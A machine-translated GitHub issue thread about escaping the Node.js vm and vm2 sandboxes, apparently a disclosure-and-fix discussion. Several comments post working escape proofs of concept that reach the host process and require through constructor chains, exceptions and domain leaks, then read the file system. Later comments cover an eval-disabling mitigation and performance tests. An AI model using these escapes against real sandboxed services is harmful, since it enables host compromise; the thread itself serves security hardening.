Vm2: Выход из песочницы vm

Созданный на 16 июн. 2016  ·  64Комментарии  ·  Источник: patriksimek/vm2

Можно выйти из виртуальной машины и выполнить очень нежелательные действия.

Найдено по следующей сути в отношении собственной виртуальной машины узла: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Возьмите следующие 2 примера кода:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

а также :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Выполнение любого из этих результатов приводит к следующему:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

Я подтвердил это поведение как на v4.4.5, так и на v6.2.1.

discussion

Самый полезный комментарий

Ага! Вы понимаете! ;) Я должен извиниться за то, что привел вас в такое русло. Для любой аудитории; проблема с областью виртуальной машины в node.js связана со ссылками на объекты в области хоста (из которых вы можете получить ссылку на всю область действия хоста через цепочку прототипов).

Теперь, когда вы переопределили свойство constructor , мне нужно пройти под ним:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Все 64 Комментарий

Спасибо за отчет, я много работаю над новой версией vm2, и мне удалось исправить эту утечку, создав контекст внутри созданного контекста. Не уверен, есть ли другой способ выбраться из песочницы, пока не нашел.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Пытался подняться, но похоже, что это невозможно, так как это true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

Я играл с подходом, который вы упомянули выше.

Первая цель состояла в том, чтобы попытаться адаптировать ваш комментарий, чтобы я мог передавать вещи в песочницу, что необходимо для моего варианта использования. Пожалуйста, поправьте меня, если это неправильный способ, но кажется, что это единственный способ:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Выходы:

Hello World Inside
Hello World Outside

Затем я снова попытался покинуть виртуальную машину и добился успеха:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Какие выходы:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Похоже, что нет никакого способа безопасно вводить что-то в песочницу, если эти вещи не используются для выхода из песочницы.

Есть способ - объекты должны быть контекстно привязаны к контексту виртуальной машины. Есть два способа сделать это. Вы можете либо глубоко клонировать эти объекты, либо использовать прокси. Я использую прокси в новом vm2.

https://github.com/patriksimek/vm2/tree/v3

Я отправил предстоящий релиз в GH. Работа над ним все еще продолжается, но она должна работать.

v3 тоже не работает:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

Бесполезно играть в эту игру в крота.

@parasyte спасибо, это было вызвано опечаткой в ​​моем коде. Теперь это исправлено.

Не забывайте ловить исключения.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte спасибо, исправлено. Я очень ценю ваш вклад.

🚎 +1

@patriksimek милая!

У меня также есть доступ к определенным объектам в глобальной области видимости, которые я могу использовать, чтобы вырваться из контекстуальной песочницы. Это даже не требует передачи каких-либо объектов в виртуальную машину.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh ! Необходимо обнаружить множество векторов.

@keyosk Ага, наверное ...

Кстати, @patriksimek, ES6 намного лучше, чем coffeescript! 👍

@parasyte еще раз спасибо, он исправлен вместе с некоторыми обнаруженными мной бэкдорами.
@keyosk Я верю, что мы их все найдем.

Как насчет этого?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte хороший улов, исправил. Спасибо.

Вы открыли совершенно новую банку червей в недавнем патче.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Блин, я работал слишком поздно и потерял концентрацию. Написал несколько заметок по безопасности , в первую очередь для меня. :)

Спасибо, исправлено.

Ну, я до сих пор даже не заглядывал в NodeVM ! Здесь гораздо больше поверхности, которую можно вычистить ...

Сразу заметил побег через arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Что ж, это указывает нам на начальную проблему здесь - контекста, созданного внутри нового контекста, явно недостаточно. Укороченная версия:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Пока не нашел решения. Возможно, исправление хоста с помощью delete process.mainModule но я уверен, что есть другой способ подняться до require .

Нашел решение :-)

Ага! Вы понимаете! ;) Я должен извиниться за то, что привел вас в такое русло. Для любой аудитории; проблема с областью виртуальной машины в node.js связана со ссылками на объекты в области хоста (из которых вы можете получить ссылку на всю область действия хоста через цепочку прототипов).

Теперь, когда вы переопределили свойство constructor , мне нужно пройти под ним:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Провел здесь небольшое исследование и заметил, что global.__proto__ === host.Object.prototype . Применяя Object.setPrototypeOf(global, Object.prototype) я смог закрыть крик.

Спасибо еще раз.

@parasyte @patriksimek это закрыто в последней опубликованной версии npm?

Да, пока мы можем закрыть это.

FWIW, мы решили это, просто отключив eval ... и очень внимательно следя за тем, чтобы ссылки не попадали в песочницу.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Это предотвращает побег, поскольку строка return process не может быть оценена. Как следствие, он также отключает законные вызовы eval() и конструктора генератора функций. (Полезность этих функций весьма сомнительна.)

@parasyte для ясности, это что-то, что вы реализовали где-то еще? Или что-то поспособствовало вм2?

@keyscores это было реализовано в другом месте.

Ага, в другом месте. У нас есть аналогичный проект песочницы, который в настоящее время ожидает разрешения на выпуск с открытым исходным кодом. Извините за путаницу. Я комментировал, как была решена основная проблема в этом проекте.

@parasyte Есть

@keyscores Извините, пока не о чем сообщить. Работа с открытым исходным кодом была лишена приоритета из-за плохого планирования в организации. : \

Я знаю, что это мертвая проблема, но есть ли какие-либо известные обходы для библиотеки Node vm при выполнении такого кода:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Просто из любопытства, почему бы просто не отключить eval, вставив global.eval = null; в верхнюю часть внешнего кода перед его выполнением?

@ Eric24 Хороший вопрос! В этой презентации довольно подробно объясняется, почему: https://vimeo.com/191757364, а вот слайды: https://goo.gl/KxiG73

Самым важным моментом является то, что есть много способов вызвать eval() из JavaScript, и замена global.eval - лишь один из них. К тому времени, когда вы ознакомитесь со всем списком, вы поймете, что с помощью GeneratorFunction невозможно обезопасить исправление ошибок. И это не включает в себя множество других способов, которыми eval() может быть раскрыто будущими изменениями ES.

Так что единственное жизнеспособное решение - отключить evals в V8 с помощью C ++.

@parasyte : Совершенно

@ Eric24 он отключит eval в контексте, в котором вызывается disableEval. Вы захотите вставить это в начало предоставленного кода пользовательского пространства, который должен запускаться в виртуальной машине. Кроме того, вы также можете запустить это на своем хосте и отключить его в этом контексте.

@parasyte :

@Anorov Об этом сообщалось всего несколько дней назад: https://github.com/nodejs/node/issues/15673 Это позволяет экранировать виртуальную машину даже с нулевым прототипом в песочнице. Это проблема только в том случае, если домены включены (это не по умолчанию, но остерегайтесь использования domain во всей вашей иерархии зависимостей).

Вот удобное доказательство концепции. Проверено на узле v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Помните о подобных утечках. Единственный способ обезопасить себя от этого класса уязвимостей - отключить eval. И будьте утомлены тем, что могут быть другие проблемы с vm выходящие за рамки eval.

@parasyte Спасибо. Я выполняю этот код с помощью Node из Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

Никакие другие библиотеки ( domain или другие) не импортируются и не используются. Вы видите какие-либо потенциальные проблемы с этим кодом? Я бы хотел по возможности избежать использования зависимостей Javascript (например, vm2).

@Anorov А, понятно. Вы обеспокоены тем, что CloudFlare (или MITM) попытается предоставить код, который может вырваться из песочницы? Это должна быть целенаправленная атака, но я не исключаю ее полностью.

Верный. Кто-то также может имитировать страницу, которую я ожидаю, поэтому
что мой сценарий думает, что это Cloudflare, хотя это не так. Я также рассматриваю
проверка того, что IP-адрес сервера принадлежит Cloudflare в качестве
дополнительная мера предосторожности.

Но, тем не менее, давайте просто предположим, что этот код работал на любом произвольном
пользовательский ввод, а не только Cloudflare. Безопасен ли механизм песочницы, чтобы
лучшее из знаний сообщества Node?

2 октября 2017 г., 22:10, "Джей Остер" [email protected] написал:

@Anorov https://github.com/anorov Ага, понятно. Вы беспокоитесь о том, что
CloudFlare (или MITM) попытается предоставить код, который может выйти из строя.
песочница? Это должна быть целенаправленная атака, но я бы не стал ее исключать.
полностью.

-
Вы получаете это, потому что вас упомянули.
Ответьте на это письмо напрямую, просмотрите его на GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 или отключить звук
нить
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@ Аноров :

Безопасен ли механизм песочницы, насколько известно сообществу Node?

Точно нет. В официальной документации есть очень сильное замечание:

Примечание. Модуль vm не является механизмом безопасности. Не используйте его для запуска ненадежного кода.

Мне известно об этом предупреждении, но я спрашиваю о практичности.

3 октября 2017 г. в 16:34 "Коди Массин" [email protected] написал:

@Anorov https://github.com/anorov :

Безопасен ли механизм песочницы, насколько хорошо известно сообщество Node?
знания?

Точно нет. Официальная документация
https://nodejs.org/api/vm.html#vm_vm_executing_javascript делает это
очень сильная нота:

Примечание. Модуль vm не является механизмом безопасности. Не используйте его для запуска
ненадежный код.

-
Вы получаете это, потому что вас упомянули.
Ответьте на это письмо напрямую, просмотрите его на GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 или отключить звук
нить
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

На практике механизм песочницы небезопасен для ненадежного кода. Вот почему @patriksimek попытался создать безопасный механизм песочницы с библиотекой vm2 . Именно поэтому @parasyte проделал работу по созданию собственной библиотеки, используя другой подход к изолированию ненадежного кода.

@Anorov Короче, не полагайтесь исключительно на vm . Но это полезный инструмент в виде одного слоя лука.

Я играл с vm и предлагаемым кодом C ++ для отключения eval из @parasyte . Он работает хорошо, но использование vm в целом приводит к довольно значительному снижению производительности. Итак, мы начали экспериментировать с _new Function (...) _. Я использую эту конструкцию:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Это тоже работает, и это намного быстрее (более чем в 1000 раз быстрее в некоторых тестовых случаях). В дополнение к отключению eval, я также предотвращаю, чтобы код пользовательского пространства содержал ссылку на 'global' (без этого теста функция может изменять глобальную область видимости с помощью global.whatever). Это эффективная и безопасная песочница. Что мне не хватает?

Ваша стратегия мешает людям импортировать пространства имен, такие как fs, и радикально изменять ваши серверы? Мне также любопытно отключить eval, почему все беспокоятся об eval, а не о коде вне eval?

@wysisoft : Хороший вопрос. Да, «требуется» не отображается. Каждый сценарий, как часть своих метаданных, определяет список необходимых ему «разрешенных и проверенных» модулей, которые индивидуально предоставляются функции перед ее запуском. В частности, на ваш взгляд, «fs» не будет в этом утвержденном списке (но для сценариев, которым требуется временное хранилище, предоставляется набор ограниченных функций чтения / записи).

Отключение eval - это ключ к остановке ряда эксплойтов (см. Комментарий от @parasyte от 18 ноября 2016 г.). Разрешение eval позволяет получить доступ к глобальной области видимости таким образом, что иначе нельзя предотвратить. Подробнее в комментарии @parasyte к 1OCT17).

@ Eric24 Я не понимаю, что "медленное" в vm . Это точно такая же среда выполнения v8, которая поддерживает nodeJS. Вы уверены, что не делаете глупостей, например, воссоздаете песочницу каждый раз, когда выполняете код? Есть некоторые накладные расходы, но не в 1000 раз больше.

@wysisoft eval() - это легко доступный метод выхода из песочницы. Его отключение навсегда закроет аварийный люк путем оценки кода в частном контексте . Но повторяю еще раз, это не единственный вектор атаки, и вы должны ко всему относиться с осторожностью.

@parasyte - у меня есть очень простой тест, который создает Function () и виртуальную

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Как видно из теста, я создаю сценарий и контекст один раз, а затем запускаю его 1000 раз. Однако в реальном целевом варианте использования мне нужно будет каждый раз заново создавать контекст (потенциально имея возможность кэшировать скомпилированный скрипт), потому что каждый запуск уникален и должен начинаться со свежего контекста). Без воссоздания контекста каждый раз разница между Function () и виртуальной машиной составляет от 6 до 14 раз.

Но после более внимательного изучения я попробовал вариант кода (создание контекста каждый раз внутри цикла), который ближе к реальному варианту использования. Первоначально я рассчитывал время однократного создания контекста чуть менее 1 мс, поэтому я включил это для каждой итерации. Но запуск фактического кода показал настоящего виновника - хотя виртуальная машина все еще работает медленнее, проблема не в создании контекста, а в создании объекта ctx. Это настоящий сюрприз.

Но создание нового объекта для контекста виртуальной машины будет необходимо каждый раз (хотя некоторые его вариации также потребуются для Function (), поэтому разница между ними составляет от 6 до 14 раз (что по-прежнему значимо). .

Хм. Я просто попробовал еще один тест:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Здесь объект 'ctx' воссоздается каждый раз в обоих тестах, но контекст создается только один раз. Разница во времени вернулась к диапазону от 6 до 14. Но если я раскомментирую строку, каждый раз воссоздающую контекст, они будут в 144 раза медленнее!

@ Eric24 Вы делаете то, что я сказал в предыдущем посте. 😕 script.runInContext() - проблема. Фактически это то же самое, что и вызов eval() (с другим контекстом v8).

Решение проблемы с производительностью - однократный вызов runInContext для компиляции кода и взаимодействие со скомпилированным кодом через ссылку, которую он возвращает, или ссылки, которые вы предоставляете в качестве входных аргументов. Например, передача нескольких объектов new Event() для двунаправленной связи с песочницей. Это то, что делает наша [все еще внутренняя песочница, исходный код которой не был открыт по политическим причинам] vm , и накладные расходы совершенно незначительны.

@parasyte : Хммм. Но разве new vm.Script () не компилирует код? В любом случае, я думаю, чтобы сделать то, что вы говорите, я должен кэшировать ссылку на runInContext, поэтому я понесу накладные расходы только при первом вызове скрипта. Определенно стоит задуматься.

Неа. runInContext компилирует код. Думаю об этом. v8 - это компилятор Just-In-Time . Он должен выполнить код, чтобы скомпилировать его.

@parasyte : ОК, но из документации node.js:
_Экземпляры класса vm.Script содержат предварительно скомпилированные сценарии, которые могут выполняться в определенных песочницах (или «контекстах») ._

@ Eric24 Документация сбивает с толку. Связанный фрагмент кода «компилируется» в том же смысле, в каком интерпретатор компилирует JavaScript в байтовый код. JS может выполняться через интерпретатор после создания экземпляра объекта Script , но большая часть прироста производительности от v8 достигается за счет компиляции этого интерпретируемого промежуточного представления в собственный машинный код. Последний шаг не начинается, пока не будет вызван runInContext .

На самом деле жизненный цикл JIT-компилятора более сложен, поскольку код должен прогреться, прежде чем JIT даже рассмотрит его для оптимизации. Если вас интересуют подробности, в Интернете есть множество материалов для

Но чтобы предоставить вам некоторые достоверные данные, вот соответствующий исходный код для runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

Ссылка realRunInContext взята из модуля C ++ contextify . Что вы можете найти здесь: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

Наиболее важной частью этого кода C ++, возможно, является вызов EvalMachine , который привязывает скомпилированный код к текущему контексту и вызывает script->Run() для запуска JIT-компилятора. Что, конечно же, начинает искать код для оптимизации.

Надеюсь, это поможет!

@parasyte : Да, это полезно. Спасибо!

Мы боремся с одной реализацией, использующей песочницу vm2. Можем ли мы вызвать асинхронный код в песочнице vm2? причина в том, что нам нужно подключиться к источнику данных, например Mysql, из песочницы vm2?

Да, вы можете асинхронно ждать в песочнице, какие у вас проблемы?
Имейте в виду, что если вы используете ненадежный код, вы, вероятно, не захотите
предоставить полный доступ sql к песочнице. Вместо этого вы, вероятно, захотите добавить
getdata () в песочнице, которая запускает код вне песочницы, где
происходит фактическое соединение SQL.

Во вторник, 24 октября 2017 г., в 6:49 Раджагопал Сомасундарам <
[email protected]> написал:

Мы боремся с одной реализацией, использующей песочницу vm2. Мы можем позвонить
асинхронный код внутри песочницы vm2? причина в том, что нам нужно подключиться к
источник данных вроде Mysql из песочницы vm2?

-
Вы получаете это, потому что вас упомянули.
Ответьте на это письмо напрямую, просмотрите его на GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 или отключить звук
нить
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Спасибо за ответ. Мы отдельно поднимали этот вопрос с подробностями https://github.com/patriksimek/vm2/issues/102. Кроме того, конфигурация доступа к SQL предоставляется самим пользователем, и сценарий песочницы не будет обращаться к нашей базе данных приложения.

@ Eric24 не возражаешь против альтернативы 'new Function ()'? Выглядит чище, чем ВМ

@platinumindustries : В конце концов, я действительно не рекомендую альтернативу "new Function ()". В итоге мы остановились на подходе виртуальной машины и вместо этого сосредоточились на оптимизации этого кода. То, что у нас есть сейчас, работает очень хорошо. Честно говоря, я не могу вспомнить, что именно подтолкнуло нас в этом направлении, но я знаю, что было несколько мелочей, которые в конечном итоге исключили подход «new Function ()» из списка.

@ Eric24 Тогда хорошо. Кроме того, в новой версии NodeJS 10.9 * у них есть возможность отключить eval () в vm. Так этого достаточно или мне все еще нужно отключить его из C

Очень жаль, что прыгнул в старую ветку.

Однако в реальном целевом варианте использования мне нужно будет каждый раз заново создавать контекст (потенциально имея возможность кэшировать скомпилированный скрипт), потому что каждый запуск уникален и должен начинаться со свежего контекста).

@ Eric24 Я смотрю, как я потенциально могу запустить произвольный код, используя vm2 внутри серверного приложения. Я считаю, что мой вариант использования похож на тот, который вы упомянули, потому что я смотрю, как я могу передавать параметры / аргументы из входящего запроса в код, работающий внутри vm.

Прямо сейчас я вижу единственный способ сделать это - каждый раз создавать новый контекст, но это очень медленно. Я пытаюсь выяснить, могу ли я повторно использовать один объект контекста, но использовать другой механизм для предоставления данных коду, выполняемому внутри виртуальной машины. @parasyte упомянул кое-что о двунаправленной связи с использованием объектов Event() но мне это было не совсем понятно.

Мне было интересно, столкнулись ли вы с подобной проблемой, и если бы вы столкнулись, не могли бы вы поделиться некоторыми советами о том, как вы ее решили? Спасибо за ваше время.

@darahayes : На самом деле я создаю новый контекст для каждого прогона, но я не считаю это медленным. Какую производительность вы видите по сравнению с ожидаемой? А как вы производительность измеряете?

Я запускаю новый процесс nodejs для каждого запуска, и это не так уж плохо, менее 100 мс задержки.

Была ли эта страница полезной?
0 / 5 - 0 рейтинги